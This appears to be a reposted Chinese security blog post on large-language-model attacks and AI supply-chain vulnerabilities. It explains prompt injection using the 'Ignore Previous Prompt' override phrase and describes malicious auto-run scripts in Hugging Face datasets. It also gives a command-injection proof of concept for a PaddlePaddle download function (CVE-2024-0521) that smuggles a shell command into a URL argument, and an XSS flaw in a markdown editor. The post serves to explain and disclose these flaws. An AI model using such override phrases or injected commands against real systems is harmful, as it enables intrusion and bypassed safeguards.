01
简要说明
02
背景
美国人工智能研究实验室 OpenAI 开发出一种可能会改变人类历史的人工智能技术驱动的自然语言处理工具,一种划时代的产物 ChatGPT,ChatGPT 是AI 技术进展的成果,已经获得了代码的理解能力,潜在地获得了复杂推理的能力,可以和人类的常识、认知、需求、价值观保持一致,ChatGPT 在大量的网络文本数据上进行训练,它的知识和语言表达能力比其他 AI 机器人更加丰富,并且拥有更强的自然语言处理能力,能够理解复杂的语言结构,回答各种类型的问题,知识范围更广更智能,回答更加精确,可以根据用户的语境和问题进行上下文理解,还可以撰写邮件、视频脚本、文案、翻译、代码等任务。
03
大语言模型(LLM)的提示注入攻击
使用“IgnorePrevious Prompt”命令来指导 LLM 无视之前的指令,这可能被用来绕过内容审查、生成恶意内容。
提示注入攻击主要利用 LLM 在处理文本时常常难以区分系统指令和用户输入的缺陷,这种界限的模糊可能导致恶意指令的成功注入。LLM 在生成文本时依赖于对自然语言的识别和处理,然而在自然语言中系统指令和用户输入提示词往往混合在一起,缺乏清晰的界限。由于这种模糊性,LLM有可能将系统指令和用户输入统一当作指令来处理,缺乏对提示词进行严格验证的机制,从而因受到恶意指令的干扰而输出具有危害性的内容。
04
大语言模型(LLM)的幻觉问题
05
大语言模型(LLM)的提示词泄露
06
不安全特性可被利用于AI供应链攻击
腾讯朱雀实验室在对datasets等AI开源组件进行安全研究时发现,开发者通常会使用datasets组件的load_dataset函数加载数据集,为了考虑支持更复杂的数据处理格式或流程,当加载的数据集下包含有与数据集同名的Python脚本时,将会默认运行该脚本。
由于Hugging Face平台上的数据集都由用户上传,如果数据集中的Python脚本包含恶意行为,那么会造成严重的安全风险,如下图所示,攻击者构造的恶意脚本会主动连接攻击者服务器,并等待攻击者下发执行系统命令,最终窃取受害者服务器上的敏感数据。
利用该特性,攻击者可通过在Hugging Face、Github及其他渠道分发包含恶意后门代码的数据集,当开发者通过datasets组件加载恶意数据集进行训练或微调时,数据集里的恶意后门代码将会运行,从而导致AI模型、数据集、代码被盗或被恶意篡改。
作为AI领域的基础库,datasets拥有很大的下载量,根据pypistats网站统计,最近一天下载量将近10万。一旦有恶意数据集在网络上被大范围传播与使用,将会有大量开发者遭受这种供应链后门投毒攻击。
06
AI供应链漏洞(CVE-2024-0521)
PaddlePaddle作为中国首个自主研发的深度学习平台,自2016年起正式开源给专业社区。它是一个拥有先进技术和丰富功能的工业平台,涵盖核心深度学习框架、基本模型库、端到端开发套件、工具和组件以及服务平台。PaddlePaddle起源于工业实践,致力于工业化。它已被制造业、农业、企业服务业等广泛采用,同时为超过 1070 万开发人员、235,000 家公司和 860,000 个模型提供服务。凭借这些优势,PaddlePaddle已经帮助越来越多的合作伙伴将AI商业化。
受影响的代码:
def _wget_download(url, fullname):
# using wget to download url
tmp_fullname = fullname + "_tmp"
# –user-agent
command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'
subprc = subprocess.Popen(
command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
POC验证:
from paddle import utils
utils.download._wget_download("aa; touch codexecution", "bb")
wget -O bb_tmp -t 3 aa; touch codexecutioncodeexecution
05
AI供应链漏洞(CVE-2023-6778)
“项目描述”和“报告”部分中使用的 Markdown 编辑器组件未应用适当的数据清理。当未经筛选的数据传递到此组件时,它允许注入恶意 XSS 有效负载。
/app/webapp-common/project-info/project-info.component.ts
this.info = project.description;
然后在这里渲染:
<sm-markdown-editor
#editor
*ngIf="!loading"
[class.editor]="editor.editMode"
[data]="info"
[readOnly]="example"
(saveInfo)="saveInfo($event)"
>
<div no-data class="flex-middle overview-placeholder" *ngIf="!example">
<i class="icon i-markdown xxl"></i>
<div class="no-data-title">THERE’S NOTHING HERE YET…</div>
<button (click)="editor.editClicked()" class="no-data-button btn btn-neon">
<span>ADD PROJECT OVERVIEW</span>
</button>
</div>
</sm-markdown-editor>
</div>
转载翻译汇总文献图片来源:
[1]huntr - 世界上第一个用于 AI/ML 的漏洞赏金平台:https://huntr.com/
[2]Protect AI | Home:https://protectai.com/
[3]赵月,何锦雯,朱申辰等.大语言模型安全现状与挑战[J].计算机科学,2024,51(01):68-71.
[4]警惕Hugging Face开源组件风险被利用于大模型供应链攻击 - 腾讯安全应急响应中心 (tencent.com) :
原文始发于微信公众号(梅苑安全学术):人工智能供应链安全专题(2)--大语言语言模型安全攻击以及AI供应链漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论